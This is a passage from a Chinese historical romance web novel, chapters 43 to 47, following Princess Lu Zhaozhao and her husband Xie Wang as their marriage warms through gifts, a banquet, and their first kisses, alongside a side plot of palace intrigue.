她也不知道自己怎么突然就改了主意,可能是那天的事让她觉得谢妄确实也还有那么一些可取之道吧。左右她一时半会也不能和他分开,就……尝试一下吧。 至于章安澜……她也不知道,从父皇赐婚之后,她好像就慢慢接受了她不能和章安澜在一起的事,到现在就觉得也没那么不能接受了。 反正,反正先这么着吧。 她又瞥了眼谢妄,谢妄也正看她,四目相对。 陆朝朝感觉有些微妙的别扭,他看自己的眼神和从前还真挺不一样的,仔细看的话,好像还问有那么几分含情脉脉的意味。 她感觉被他这么盯着看实在太诡异了,开口找话题:“你在想什么?” 谢妄回答:“你今日很漂亮。” 陆朝朝微微瞪大双眼,有些不可置信地看着谢妄,夸她漂亮之类的话她一向受用,心里自然高兴,只是又觉得这话从谢妄嘴里说出来好……好怪。 她嘟囔道:“自然,本公主一直很漂亮。” 谢妄也没有反驳,反而嗯了声,赞同了她的话。 她神色怪异地盯着谢妄,想到另一件事:“你以前不是觉得萧紫渔比较漂亮么?” 他还投票给萧紫渔,害她输给了萧紫渔。 谢妄微微皱眉,解释:“……我当时并未听清他们让我选什么。” 只知道他们问他,要他在萧紫渔和陆朝朝之间选出一个来。他当时毕竟更年轻许多,又和她刚针锋相对过,便秉着与她作对的心思,指了指萧紫渔。 陆朝朝:“……” 陆朝朝没想到真相竟是如此,她不满:“那你干嘛非要跟我作对?” 谢妄垂低视线,这倒是个很难回答的问题,这种心思说起来太过幼稚,他很少会有这般幼稚的时候,似乎也只有对她。若追溯起来,似乎从很早以前,他就对她格外不同。 谢妄垂在膝头的手微微收紧。 陆朝朝也不是真要一个答案,转而问起:“所以,你以前觉得我和萧紫渔谁更漂亮一些?” 谢妄抬眸,对上她的视线。 少女今日着一身红色襦裙,鲜艳如火,五官一如既往的秾丽。 “你。” 陆朝朝弯起唇角,肉眼可见地开心。 “是么?有多漂亮?”她娇俏地追问。 “客观的漂亮。”他答。 很简单的一句话,没有什么太多的夸赞之语,但是比起那些并不真诚的阿谀奉承之语,反而显得更可信,也更叫人听来开心。 陆朝朝唇角更翘,嘀咕道:“你怎么突然这么会说话?好奇怪的感觉。” 谢妄默然不语。 马车一路行驶,直至停在谢家门前。 知晓她今日回来,林娇和郑婉然也来迎接,还有谢绵绵。谢绵绵一见到她,便开心地扑了上来,陆朝朝接住谢绵绵。 “公主公主,你回来啦,绵绵可想你啦。”谢绵绵蹭她脸颊,和她贴贴。 陆朝朝:“我也想你。” 谢绵绵看了眼陆朝朝身侧站着的谢妄,说:“小叔也是哦。” 娘亲说,她应该帮帮他们。 谢妄嗯了声。 第44章 第四十四孔雀还会开屏呢。 陆朝朝闻声看了眼谢妄,唇角微翘,“走,我们回去。” 谢绵绵毕竟五岁了,抱起来有些重,她自觉地从陆朝朝臂弯里跳下来,改为牵住陆朝朝的手,又伸出另一只手拉住谢妄,由他们俩一前一后牵着,进了门。 林娇她们知情识趣,陪着到明心堂便撤了,留夫妻两个自己独处。 谢绵绵回头张望了几眼,嘟了嘟嘴,小声问:“小叔他行不行哦,你看他都不说话,待会儿又把公主给气到啦。” 郑婉然点了点谢绵绵的鼻子,笑说:“就你最行,你小叔可以的。” 这夫妻之间的事,旁人再怎么帮也帮不过来,归根结底还得自己解决问题。 谢绵绵亦笑起来:“可是公主婶婶就是喜欢我呀。” 陆朝朝目光环顾一圈,明心堂里一切和她离开之前似乎没什么变化,她和谢妄二人并肩而行。廊下的竹帘落了下来,日头从竹帘的缝隙里错落地闪过,陆朝朝出嫁时带了许多人,上回她走得急,回宫时只带了几个人回去,剩下那些便都留在了谢家。这会儿见她回来,自然都迎了上来。 “奴婢等恭迎殿下。”她们原本还在担忧,公主会不会从此不回来了,若是公主不回来了,那她们又该怎么办?听得公主回来的消息,都高兴坏了,今日特意将公主的房间从里到外打扫了一遍。 陆朝朝看着她们,吩咐道:“你们都各自去忙了,不用跟着我。” 得了她的吩咐,婢女们便散了下去,只留了一些在身边伺候。 陆朝朝推开房门,扫视一圈,花几上新添了盆景,花瓶里也新添了花,窗牖敞着,阳光透进房间,令人心情舒畅。她往前走了几步,谢妄也跟着。 待她回过身,便见谢妄竟是从身后拿出个一只长方的锦盒,她眸色微动。 谢妄道:“送殿下的礼物。” 陆朝朝接过锦盒,打开,心中纳罕不已,谢妄竟然还会送她礼物?他会送什么? 她怀抱着疑惑,看见了锦盒中的东西,是一幅画。 她拉开卷轴,将画展开,只见画里画的是一女子身着红衣,于树下仰头,那画里的人,正是她自己。 陆朝朝呼吸一滞,看向谢妄。 谢妄道:“按说礼物该投其所好,只是……殿下金枝玉叶,金尊玉贵,已然拥有世上最好的一切,什么都不缺。奇珍异宝,珠宝首饰,难免入不了殿下的眼,故而只好送一份心意。” 陆朝朝垂眸,仔细端详手中画卷,画得惟妙惟肖,甚是动人。她道:“勉强算还原了我的八分美貌吧,我收下了,谢谢。” 谢妄原本还担心她会不会觉得这礼物没诚意,或是别的什么,见她收下,眸色柔和几分:“那殿下好生休息,若是有什么事,差人来唤我便是。” 陆朝朝嗯了声,目送他走远了。 她收回视线,又落在手中还未合上的画上,一时心绪又有些微妙。 她将画交给风荷,只叫 她拿去裱起来,风荷接过画,连声应下,忍不住笑道:“殿下与驸马似乎关系亲近了些。” 陆朝朝轻笑了声。 夏日里暑气重,陆朝朝总爱喝些解暑的甜汤,风荷她们早早备着,端来上来。陆朝朝饮了一口甜汤,想到什么,吩咐风荷:“也送一碗去书房。” 风荷含笑应下。 至夜里用晚膳的时辰,陆朝朝让人去请谢妄。二人相对而坐,房间里的冰鉴冒着冷气,源源不断地给房间里输送凉意,与外头的暑气做对抗。 陆朝朝道:“吃吧。” 谢妄嗯了声,开始动筷。 两个人默然吃着东西,谁也没说话。只听见外头的风偶尔刮一下,晃动檐下的风灯。 一顿饭吃到尾声,两个人也没开口交流,直到放下银箸,陆朝朝看了眼谢妄,不满道:“你不是要表现一下自己吗?怎的跟个哑巴似的,什么也不说,也不做。” 哪有他这么表现的,不应该展现一下他温柔体贴什么的吗,给她夹个菜啊,问问她爱吃什么之类的。 谢妄恍然,只是这会儿饭都吃完了,只好道:“抱歉,没经验,下次一定。” 陆朝朝被他一本正经的样子逗乐了,“你怎么反倒要我提醒啊,不是你追求我吗?” 谢妄道:“不好意思,没追求过别人。” 这话带了几分欠揍的意味,陆朝朝忍不住呛他:“是是,你堂堂谢缜之还要纡尊降贵追求人?” 谢妄看她一眼,抿唇不语。 陆朝朝继续嘲弄道:“人家孔雀追求雌性,还要开屏呢,你倒好,往这儿一坐就完了?” 谢妄若有所思。 陆朝朝笑了他两句,便也罢了,看了眼天色道:“时辰不早,我要休息了,你走吧。” 谢妄走后,陆朝朝沐浴一番,换上寝衣,躺在清凉的玉簟上。她仰头望着头顶的纱帐,这纱帐还是原本成婚时准备的囍帐,她原本想着过些日子换掉,但那时匆匆回了宫,这事儿也就忘了吩咐她们。陆朝朝翻了个身,侧对着墙躺着,想到她和谢妄的婚事。 如果她和谢妄像寻常夫妻那般,还真是很难想象…… 京城里不乏恩爱的夫妻,人家都是蜜里调油,陆朝朝代入着想象了一下她和谢妄,不禁笑出声来,感觉好奇怪。 不过今日谢妄对她的态度可谓是恭顺,让陆朝朝不禁心情大好,这夜酣睡好眠。 第二日一早,陆朝朝伸了个懒腰,夏日里天光亮得早,她醒来时已然日上三竿,屋内敞亮。谢妄已经去了刑部官署,没能和她一道用早膳,她就自己用了早膳,之后谢绵绵和郑婉然过来找她,邀请她一道出门逛街,她答应了。 谢妄在去刑部的路上,遇上二皇子陆明礼。 陆明礼撩起马车帘子,和谢妄打招呼:“这么巧,谢大人。” 谢妄看了眼陆明礼,直白地拆台:“不巧,二殿下是特意来找臣的,不是么?” 陆明礼被拆穿了,尴尬地笑了笑:“不愧是谢大人。既然谢大人猜到了,我也就不拐弯抹角了,今日来找谢大人,是有一事与谢大人商量。前些日子,谢大人手中的一个案子,牵扯到了杨侍郎,此事可大可小,杨侍郎毕竟是朝廷的老臣了,还请谢大人看在我的面子上,网开一面,放他一条生路,如此可好?” 这杨侍郎是陆明礼的人,他得想法子保下他,陆明礼也知道父皇对他们拉拢朝臣一事并不满意,这时候他不能再在父皇面前提起此事,惹父皇厌烦,只好求到谢妄这里。 没想到谢妄并不给他面子:“谢某不能为二殿下徇私,此事调查之后便知真相,若与杨侍郎无关,自然不会牵扯到他身上,若有关,臣更不可能徇私。还请二殿下回去吧。” 谢妄说罢,便落了帘栊,俨然已经没有商量的余地。 陆明礼被他如此落脸面,脸上有些挂不住,冷哼一声打道回府。 回宫之后,想起此事不免又愤愤不平:“他姓谢的还真把自己当个东西,若不是父皇宠他,他又算个什么玩意儿?我几次三番向他示好,他都熟视无睹。”他眸中闪过一丝阴狠。 这话恰巧被陆皎月听见,陆皎月对这个哥哥一向也有些看不上,他身为中宫嫡子,却资质平庸,无法赢得父皇的宠爱,还和大皇子打得有来有回。不过这个谢妄也的确可恨,上回他拿那些话威胁她的事,她心里可记着仇。 她给陆明礼出谋划策:“既然二哥拉拢不到谢妄,不如除掉他?” 陆明礼和这个妹妹关系也算不得多融洽,知道她一直对自己看不上,冷笑说:“你以为谢妄是什么酒囊饭袋?除掉他,说起来轻巧,你们妇人就是目光短浅。你厌恨昭阳,难道也能直接除掉她?” 陆皎月脸色变了变,冷哼一声,“二哥怎么知道我不能?” 陆明礼并不把她这话放在心上,她陆皎月哪有这种本事,只轻蔑一笑:“是么,那我拭目以待。” 陆皎月敛了神色,正色道:“谢妄既然不肯帮二哥,那二哥便该想想别的法子,总不能真叫大皇子坐上太子之位。” 陆明礼急道:“我当然不愿意把太子之位拱手相让,可父皇一直不曾透露立储的心思,谢妄也不肯站在我这边……” 陆皎月道:“谢妄也只不过是得父皇宠信,才有权势,他不帮你,你可以再培养出一个得父皇宠信的权臣,到时候自然肯帮你。” 陆明礼皱眉:“你说得简单,朝中哪有这样的人?” 陆皎月勾唇:“章家那位,不就很好,年轻有为。” 陆明礼对章安澜有印象,但觉得他太过温润,只摇头。 陆皎月笑了起来,“他可不是什么温润君子,二哥就听我一句劝,想法子将他调出翰林院,你给他递上机会,他自然会往上爬的。” 陆明礼将信将疑- 陆朝朝和郑婉然她们逛完回来,水月便将今日送来的帖子呈上。 “殿下,信国公府的二小姐生辰宴差人送了请帖过来,您可要去?” 陆朝朝听得水月的话,默了一默,“她不是跟她外祖去了北地,几时回的京城?” 水月也摇头,并不知晓。 陆朝朝接过帖子,犹豫片刻,道:“去吧。” 谢妄过来时,正见陆朝朝眉目耷拉着,似乎兴致不高。他问了一句:“殿下怎么了?” 陆朝朝撑住下巴:“过几日信国公府二小姐生辰设宴,邀我去。” 谢妄不解,不过一个宴会,也至于如此苦恼么? 陆朝朝眉头挤在一起:“我……我小时候抢过她一只兔子。” 第45章 第四十五“我可以亲你吗?朝朝。”…… 陆朝朝说起旧事,九岁那年,宫中设宴宴请朝臣,可携带家眷,信国公府自然在受邀之列。信国公府的二姑娘孙静雨随信国公夫人进宫,那天她抱了一只可爱的兔子,带婢女在御花园中玩耍时,被陆朝朝撞见。 那只兔子通体雪白,毛色柔润,看得陆朝朝眼前一亮,她喜欢得紧,直截了当问孙静雨:“这是你的兔子吗?本公主很喜欢,归我了,你有什么喜欢的东西,我可以跟你换。” 她语气高高在上,因着崇光帝有些溺爱她,那些负责教养的嬷嬷乳母都不敢太严厉,可谓是都顺着,愈发纵得厉害。 孙静雨皱起眉,端看面前这位公主,她认识,是陛下极为宠爱的昭阳公主,她只摇了摇头,拒绝道:“臣女不愿意和公主换这只兔子。” 陆朝朝听她不答应,皱眉不悦,当即要动手抢,孙静雨哪 里会让她抢,便抱住兔子牢牢不撒手,一面还哭了起来。事情闹得有些大,不知是谁悄悄去告知了陛下与信国公,不多时,陛下与信国公便赶了过来。 陆朝朝见崇光帝来,当即开口讨要:“父皇,我想要那只兔子,你让她把兔子给我,可以吗?” 崇光帝对陆朝朝偏爱人尽皆知,他当即看向信国公,讨要那只兔子。陛下亲自开了口,信国公也不好拒绝,只好哄着孙静雨答应,把兔子给了陆朝朝。孙静雨心里不情不愿,却又没办法,只好同意。 结果没几日,那兔子便死了。陆朝朝很是伤心,孙静雨知晓此事后,更是伤心,又说了陆朝朝好些难听的话。 “大概就是说我嚣张跋扈,不讲道理,仗着我是公主,便抢她的东西,如果不是我抢了她的东西,那只兔子就不会死之类的。”陆朝朝回忆起来,也觉得自己那时候做得并不对。 “后来我想给她送些礼物赔罪道歉,可却得知她跟着她外祖去了北地,后来一直住在北地,没有回来。”陆朝朝一直觉得有些对不住孙静雨,故而方才犹豫了下,还是决定去赴宴,打算让风荷她们备份大礼,补上当年的赔罪。 谢妄倒是不知道她和孙静雨之间还有这样的旧事,又听她担忧道:“这么多年没见了,她会不会还记仇?” 她其实自己说得心虚,因为换位处之,她定然是记仇的那个,但到底这么多年过去了,万一孙静雨就是个大度的人呢? 这种人情世故上的问题,谢妄给不了她任何合适的答案,他自己从不忙人情世故,但小公主显然正为此苦恼,思索片刻,谢妄还是顺着她的话说:“应当不会。” 陆朝朝听见她这么说,松了口气。 没两日便是孙静雨的生辰宴,因着孙静雨多年不曾回京,又已经到了定亲的年纪,信国公便借着这次生辰宴大办,意欲让她融入一下京城的贵女圈子。陆朝朝同谢妄到信国公府时,已经来了不少宾客。 他们二人是贵客,信国公夫人亲自迎上来招待:“臣妇见过昭阳公主,驸马。” 陆朝朝笑了笑,目光不自觉地搜索孙静雨的身影,她早已经记不太清孙静雨的模样,更不知道长大之后的孙静雨长什么样子。正搜寻着,一道倩丽的身影走到他们身边。 信国公夫人忙不迭介绍:“静雨,这位是昭阳公主,和她的驸马,谢大人。” 陆朝朝抬眸,和孙静雨对视。孙静雨生得清秀,气质清冷,福身见礼。 陆朝朝道了声免礼,叫她们把自己备的礼物拿来,又道:“祝贺二小姐生辰,一些小心意。” 孙静雨与信国公夫人道了谢,又去招待旁的客人。 陆朝朝拍了拍心口,小声道:“她看起来好像不记得了,应当是原谅我了吧?” 陆朝朝寻了个位置坐下,谢妄的位子在她旁边。桌上置了些应季的瓜果,切好的西瓜,粒粒饱满分明的葡萄,陆朝朝在那串紫葡萄上多看了眼,她想吃,但不想自己动手剥皮,她吃葡萄总要剥皮的。 正犹豫是不吃,还是让风荷替她剥皮时,余光瞥见了坐得端正的某人。 陆朝朝一只手撑住脑袋,身子歪倚着,若有所指地看向谢妄。 谢妄被她盯着,只一瞬,便明白了她的意图。 他看向那串葡萄,迟疑着摘下来几颗,送到陆朝朝嘴边。 陆朝朝摇摇头:“不吃葡萄皮。” 谢妄微微垂眸,收回手,专心致志地盯着手中的葡萄,给它们剥皮。他记得上回陆朝朝也指使他剥过葡萄,那时他还心不甘情不愿,耐着莫大的性子,到此刻,他却是心也甘情也愿。 他小心地剥出一颗完整的葡萄,送到陆朝朝嘴边。陆朝朝终于张嘴吃下,她直接从他手指上咬的葡萄,柔软的唇瓣触到他的指腹,那片刻的触觉让谢妄眯了眯眼。他眸光落在她柔软的唇瓣上,葡萄的汁水沾到她唇角,他用指腹替她擦去。 陆朝朝对他的服务很是满意,赞许地点点头。 谢妄又替她剥了几颗葡萄,两个人并未注意周遭的目光。 先前陆朝朝回宫的事传得沸沸扬扬,还有好些人沉浸在他们二人不和的传闻中,不知道陆朝朝已经搬回谢家,今日见他们二人一同出席,正觉诧异,这会儿见两个人旁若无人地相处,愈发觉得惊叹。 “昭阳公主与驸马这是和好了?” “兴许吧。” …… 一旁的孙静雨也听见了这些议论,看向两个人。她此番回京对他们俩的婚事有所耳闻,不由得蹙了蹙眉,走近几步,不甚和善道:“公主这么多年了,还是如此脾性,想要的不计后果。” 孙静雨当是陆朝朝耍性子对谢妄强取豪夺,这会儿有些替谢妄不忿。 陆朝朝听完她的话,怔了怔,辩解道:“我才没有。” 她见孙静雨说起,道:“当年那件事,是我对不住你,我今日来,也是想同你说一句对不起。” 孙静雨面色未改,又看向谢妄,谢妄的为人她也听过几句,实在与眼前洗手剥葡萄的人相差甚远。 谢妄道:“是二小姐想多了,外面的传闻多是虚言,实则是我对公主情根深种,想方设法求得这桩婚事。至于现在能为公主做这些,我甘之如饴。” 孙静雨脸色变了变,将信将疑,旁人的感情之事她不好插手,只说:“事情已经过去这么久了,既然公主知晓自己做错,我便接受公主的道歉。” 陆朝朝也不想和孙静雨有更多牵扯,既然她接受了自己的道歉,此事便算罢了。她只觉得心中的一块大石头落地,又在生辰宴上待了会儿,才和谢妄一同离开。 二人同乘马车之内,陆朝朝说起今日的事,谢妄始终有些心不在焉。 陆朝朝微微蹙眉,问他:“你在想什么?” 谢妄抬眸,对上她的视线,又微微下移,落在她唇上。因着吃了些葡萄,她唇上的唇脂掉了一些,颜色不似出门前艳丽。 他默了一默,坦然道:“想亲你。” 刚才在宴上就想。 陆朝朝瞪大眼睛,连忙捂住嘴,声音从她指缝里传来,闷闷的:“你怎么在想这种东西?!不行!” 谢妄目光仍盯着她看,看得她头皮都有些发麻,她瞪他一眼:“不许看我,转过去。” 谢妄听话地转过头。 陆朝朝放下捂着嘴的手,看他一眼,问:“为什么……突然想这种东西啊?” 谢妄侧对着她:“情之所至,实难自禁。” 陆朝朝不能理解,那她喜欢章安澜也不会想亲章安澜啊?她视线往下,往某处瞥了瞥,不知道他是不是连带着还想那种事? 谢妄余光看见她的动作,默然片刻,道:“也没这么不能自持。” 陆朝朝咬了咬腮帮子,又听他说:“但若是更甚一步,不好说。” 陆朝朝问:“什么更甚一步?” 谢妄转回来,忽地伸手抓住她手腕,以此动作顿住。 “这样。” 陆朝朝微微睁大眼睛,啊了声,不觉转动黑亮的瞳仁,吞咽一声,有些紧张。 谢妄轻笑了声,握住她手腕的手指往上盘延几寸,到她小臂处,而后用力一提,将她整个人捉进怀里。一来一回,陆朝朝便坐在了谢妄怀里。 “没这么夸张。”他的呼吸喷洒在她下巴上,带着温热的潮湿,“这样差不多。” 他一只手抓着她小臂,另一只手圈在她后腰上,将她两个人禁锢在他怀里。距离忽然近到呼吸交缠,陆朝朝有些发愣,呆呆地看着谢妄。 谢妄狭长的眸子微微眯着看她,和平时有些不同。陆朝朝还在呆滞着,又听见他凑得更近:“我可以亲你吗?朝朝。” 他没有唤她殿下,或是公主,而是唤了她的闺名。 他的声音压低了许多,沉沉的,有些微微的沙哑。 陆朝朝心跳得很快,脑子却迟缓地转不动,眨了眨眼,终于反应过来当下是个什么局面,后知后觉地要捂住嘴。 但她一只手还被谢妄抓着,谢妄比她动作更快,掣肘住她。 他的吻落下来。 先是贴着她的唇,片刻之后,改为衔住她的唇瓣,轻轻吮着。 上回是毫无征兆的,这回她却有些预感,在方才对视的那几息里。 陆朝朝觉得自己的脑袋像被浆糊糊住了,她应该做点什么,而不是任由谢妄胡作非为。她下意识想要开口,却被谢妄抓住机会撬开牙关,长刀直入,攻城略地。他在她唇齿之间兴风作浪,勾住她的柔舌缠弄。 “唔唔……” 第46章 第四十六 这感觉好像也没那么令人讨厌…… 她清甜的嗓音被他吞吃入腹,余下几声细碎的呜咽,他勾缠着她的舌头,仿佛小孩刚拿到一个好玩的玩具那般,耐心地摸索探寻,寻找其中关窍。 不同于上回那个浅尝辄止的吻,这回谢妄吻得更深亦更久,陆朝朝对这种全然陌生的感觉招架不住,只觉得晕头转向,本就一团浆糊的脑袋更是完全空白。她被谢妄引领着,渐渐连反抗也忘了,只被动地跟着他的所有节奏,差点喘不上气。 察觉到陆朝朝的异常,谢妄终于从她唇齿之间退出来,他额头抵着她的,二人额上皆是一片温热。陆朝朝大口呼吸,心跳如雷,好一会儿才平复过来,腰更是软得塌下去,整个人陷在谢妄怀里。 她眸光渐渐定焦回神,抬头看谢妄,急道:“都说了不许轻薄我……你……” 她嗔怒不已,因着方才的动作,白皙的面颊上透出些粉,眼眸中也带着水雾,实在没什么震慑力,反而更有一种勾人的意味。 谢妄定定看着她,而后再次俯身,吻住了她的唇瓣。 陆朝朝抓住他的衣襟,试图将人推开,但她而今的姿势压根不好受力,遑论他们之间本就体力悬殊,那点微弱的抗拒很快被谢妄压下。他收紧手臂,将她抱得更紧,几乎要融进他怀里似的。 这个吻也更激烈,几乎没给陆朝朝思考的时间,仿佛一场夏日急促的暴雨,兜头浇在陆朝朝身上,密不透风。她连呼吸都忘了,本能地跟随着谢妄。(只是在亲嘴) 待一个绵长的吻结束,陆朝朝再次捂着心口大口呼吸,倚在谢妄胸口,眼神都有些涣散。陆朝朝思绪回笼,再次拿眼瞪他:“你你你!” 谢妄坦然自若:“我方才问过朝朝了,朝朝未曾拒绝。” 陆朝朝气恼,她那是未曾拒绝吗,分明是拒绝未遂。 她心口憋着一股气,正欲发作,便感知到了谢妄的反应,不容忽视。陆朝朝心绪一乱,顾不上先气恼,在他胸膛拍了一把,手忙脚乱地从他怀里挣脱出来,回到自己原本的位置。她靠着车厢壁,甚至又往角落里挪近了些,离谢妄更远。 她脑袋里有点乱,语气仍带着几分气恼:“好好说话,不许动手动脚的。” 而且他为什么看起来这么熟练啊喂,他不是不近女色吗,肯定是看那种下流话本看了太多,陆朝朝想罢,又狠狠瞪他一眼。 谢妄看起来还坐得端正,但其实也没比陆朝朝好到哪里去,他几不可查地调整呼吸,不敢多看她。他怕多看几眼,愈发难以自持。待稍稍平缓了些,才敢抬眸看她,便对上她恼怒的双眼。 她虽然面色愠怒,但反应没有上次那么抗拒,至少没有再给他一巴掌。而且方才过程中,她似乎也挺喜欢的,至少并不反感。 谢妄眸中闪过一丝笑意。 陆朝朝捕捉到了他的表情变化,愈发有些恼怒,哼,轻薄到了她,所以这么高兴是吧。她转过头,不再理他。 但唇上的麻意一时半会儿没有消退,这种感觉真的很陌生又很诡异,陆朝朝偷看了眼谢妄,而后轻轻地摸了摸自己的唇。 这就是亲嘴吗? 这感觉好像也没那么令人讨厌。 她想着,又瞥了眼谢妄。 这回正巧和他四目相对。 陆朝朝当即放下唇边的手,装作无事发生一般,又无端有些心虚。转念却想,她心虚什么?分明此事是他做得不对,便又用嗔怒的眼神盖过自己的心虚。 谢妄将她一番神情变化看在眼里,暗自觉得可爱。 马车驶回谢家,稳稳停在府门前。陆朝朝先一步下马车,踩着脚凳,跨进了门,将谢妄甩在身后。谢妄腿长,没几步便追上了她,陆朝朝见他要追上自己,不免又加快了些步子,提着裙摆小跑起来。谢妄见状,也快步追上去。 陆朝朝因着方才在马车里的事有些不自在,这会儿追逐之间,激起了些许好胜心,便愈发要胜他一步,不能叫他追上自己。 她一路小跑,眼看着要到明心堂,陆朝朝心中大喜时,忽地手腕被人捉住,往后一带,后背便靠上坚实的廊柱,而眼前是谢妄冷峻的脸庞,她抬眸同他对视,听见他说话:“跑什么。” 陆朝朝抬手推他,微扬下巴:“不管,我赢了,你耍赖了啊。” 谢妄微微蹙眉,而后听懂她的话,原来她把这短短一段路看做一场同他的比赛。 她倒是一直想要压自己一头,这么多年了,始终没变过。谢妄眸光在她面上流连,像阅读一本书,他忽地想,她这么想赢,其实可以在别的一些地方赢过他,他丝毫不介意让她压一头。 许是因着方才那两个吻,谢妄轻易地心猿意马,想到一些不甚入流的东西。 谢妄移开视线,退后一步。 “嗯,你赢了。” 她已经赢得很彻底了,把他的心都赢走了。 陆朝朝只觉得他的表情有些高深,但看不透他的弦外之音,兀自走进明心堂里去了。 谢妄目光在后头追着她的背影,也回了明心堂。 方才在外头追逐了一番,陆朝朝跑出了些汗珠,婢女们端来温水替她净面,陆朝朝洗了把脸,又擦了擦脖子上的汗,转去海棠雕花铜镜前看自己的头发有没有乱。她理了理发髻上的首饰,余光注意到自己的嘴巴,这么久了,好像还没消下去似的,不由得舔了舔唇,又心虚自己,怕风荷她们看出些什么来。 便状似不经意问道:“天气热了,好像有点上火,我嘴巴没有肿吧?” 风荷闻言,摇头:“没有啊,殿下,殿下若是觉得上火,奴婢让后厨做些消暑的饮子。” 陆朝朝点头:“甚好。” 见没人看出什么异样,她心下稍安。 这两个吻到底是乱了陆朝朝的心神,至这日夜里,她还辗转难眠,回忆起这两个吻来。她抱着金丝夏被,不由又伸手碰了碰自己的唇,那种唇齿交缠的滋味,于她而言太过陌生,难以忘怀。 她脸热起来,把薄被往头上套,将整个人都裹住。整个人都在被子里热意升温,白皙的肌肤变得发红,好在玉簟清凉,能浇灭她的热意,她便绕着玉簟打了两个滚。 分明觉得那时候脑袋一片空白,好像什么都不记得,但回忆起来,又似乎记得很多东西。 谢妄的舌头舔过她的牙根,她感觉头皮发麻,靠在他怀里的时候,听见他的心跳声也不比自己的慢。所以他也很紧张吧,哪有看起来那么游刃有余,也就是他长了一张冰块脸,占了云淡风轻的优势。 还有恍惚抬眼的时候,看见的谢妄的表情,很是暧-昧。 陆朝朝仰面躺平,深吸一口气,告诉自己不能再想了,睡觉,赶紧睡觉。 她闭上眼,不知过去多久,又腾地坐起身来。 不行,根本睡不着。 今夜水月值夜,听见动静,询问:“殿下怎么了?” 陆朝朝披了衣服起身,说去外头散散步,水月揉了揉眼,陪着她走到院子里。 一轮圆月高悬,皎洁的月光铺满庭院,摇晃的树影在月色中摇曳。夜风带着暑气,拂面而来时有些燥热,并不能叫人清醒冷静。 她缓步往前,踩着树影,忽地映入眼帘一道颀长身影。 陆朝朝错愕抬头,对上谢妄的眼。 他怎么也没睡? 她直接了当地问出自己的疑问,谢妄答:“睡不着。” 陆朝朝哦了声,垂下眼眸,猜测他和自己是不是因为同一个原因睡不着。 : 谢妄说:“我陪你走走。” 陆朝朝嗯了声,和他并肩在庭中漫步。 二人走了会儿,忽地听见他开口:“朝朝。” 他叫自己名字是越来越顺嘴了。 陆朝朝侧过眼看他:“干嘛?” 谢妄脚步一顿,又默然片刻,视线定定落在她脸上。 陆朝朝当即警惕地遮住嘴,道:“不许轻薄我。” 又补充了一句:“不许想那种下流的事。” 这人怎么又开始了? 谢妄道:“晚了。” 陆朝朝凝眉,什么晚了? 又听他说:“已经想过了。” 陆朝朝又一阵脸热,骂他一句:“大色-鬼。” 她说:“你还说你没怎么看过那些东西,你分明就很熟练。” 谢妄辩白:“没有,当真只看过一遍。” 只是梦到过不少,偏偏他记忆力又超群。 陆朝朝继续迈步往前,谢妄愣了一瞬,追上她的步子。他伸出手,好似不经意地拉住她的手。 陆朝朝一怔,抬头看他。 谢妄才问:“我可以牵朝朝的手吗?” 陆朝朝皱眉,他都牵上了,还问什么? 她答:“不可以。” 说罢,挣脱了一下,没挣开,便没再说什么,任由他牵着继续漫步。 好像只过去了片刻功夫,手心里就全是温热的汗,陆朝朝再次挣扎,这回甩开了谢妄的手。她道:“我困了,我要回去睡觉了。” 说罢,转身离开。 她心跳得有些快,匆匆行至廊下,进门前听得身后传来的嗓音:“晚安,好梦。” 陆朝朝没说什么,只是推门进去,合上门,靠着门框捂住脸。 她的心跳扑通扑通的,脸上也烧起红霞,就连手心里都是热的。 短短一天之内,她竟然就跟谢妄亲吻、牵手了。 这一切都像在做梦似的。 陆朝朝晕乎乎地走向拔步床,栽下去,她在薄被上擦去手心的汗,侧过身,闭上眼睛,不知何时进入了梦乡。 谢妄立在月下,良久注视着陆朝朝的房门。 第47章 第四十七吃醋。 这一晚陆朝朝睡得很好,她坐起身,伸了个懒腰,唤婢女们进来伺候。婢女们鱼贯而入,各司其职地伺候她洗漱梳妆。 阳光透过窗牖,映出窗边的树影,陆朝朝视线落在树影片刻,不由得想到了昨夜月光下的树影,便又想到了昨夜谢妄牵了她的手。她怔了怔,有些恍然,简直要疑心那是她做的一场梦。 但陆朝朝知道那不是一场梦,是真实发生的。她起得晚,赶不上谢妄出门的时辰,他早已经去了官署。这样也好,免了相见的尴尬,她还真有些不知道怎么面对谢妄。 她心中对昨日的事惊涛骇浪,简单用过早膳,便叫下人备了马车去傅家找傅宝嘉。 一见到傅宝嘉,她便迫不及待地拉着傅宝嘉的手进了里间,屏退了下人,语气激动地说起昨天的事:“我有事跟你说。” 傅宝嘉眨眼,一脸期待,猜测是她同谢妄有什么新进展。 陆朝朝清了清嗓子:“昨天,我跟谢妄,我们俩,那什么了。”她有些羞臊,说不出口。 傅宝嘉瞪大双眼,猜测得很大胆:“你们睡觉了?” 陆朝朝急得拍她胳膊:“不是,你别胡说!” 她真怕了傅宝嘉这张嘴了。 “就是……”她指了指自己的嘴。 傅宝嘉恍然点头:“你们亲了?” 傅宝嘉激动不已:“这么快?怎么回事?你快给我说说?感觉怎么样?” 陆朝朝把来龙去脉说了一遍,自然省去了许多不堪言说的东西,只简单叙述:“就这样嘛,感觉嘛……也还行吧,不算很讨厌。” 她原本还以为,两个人嘴对嘴会很怪异,毕竟要吃旁人的口水。但那时她完全想不起来这些,实际上是什么也想不起来。 傅宝嘉笑得促狭不已,又问:“不过你这是选了谢妄了?那章安澜呢?” 陆朝朝摇摇头,诚实回答:“不知道。” 她是真的不知道。 傅宝嘉摸着下巴替她分析:“那你喜欢谢妄吗?” 陆朝朝仍是摇头:“也没有吧,就是觉得他也没以前那么讨厌了,倒也谈不上喜欢他。” 眼下的谢妄和从前简直大相径庭,他现在都甚少会气她,或者阴阳怪气她,讲话都变好听了。没有那些让她讨厌的坏毛病之后,的确整个人就变得顺眼了许多。 傅宝嘉道:“那你就继续跟他发展着吧,我感觉你俩能成。” 陆朝朝还是摇头,只说不知道。 反正她什么都不知道。 说罢陆朝朝,陆朝朝问起傅宝嘉和薛仲霖的事。 傅宝嘉面上露出些羞怯:“挺好的。” 陆朝朝又在傅家坐了一个时辰才离开。 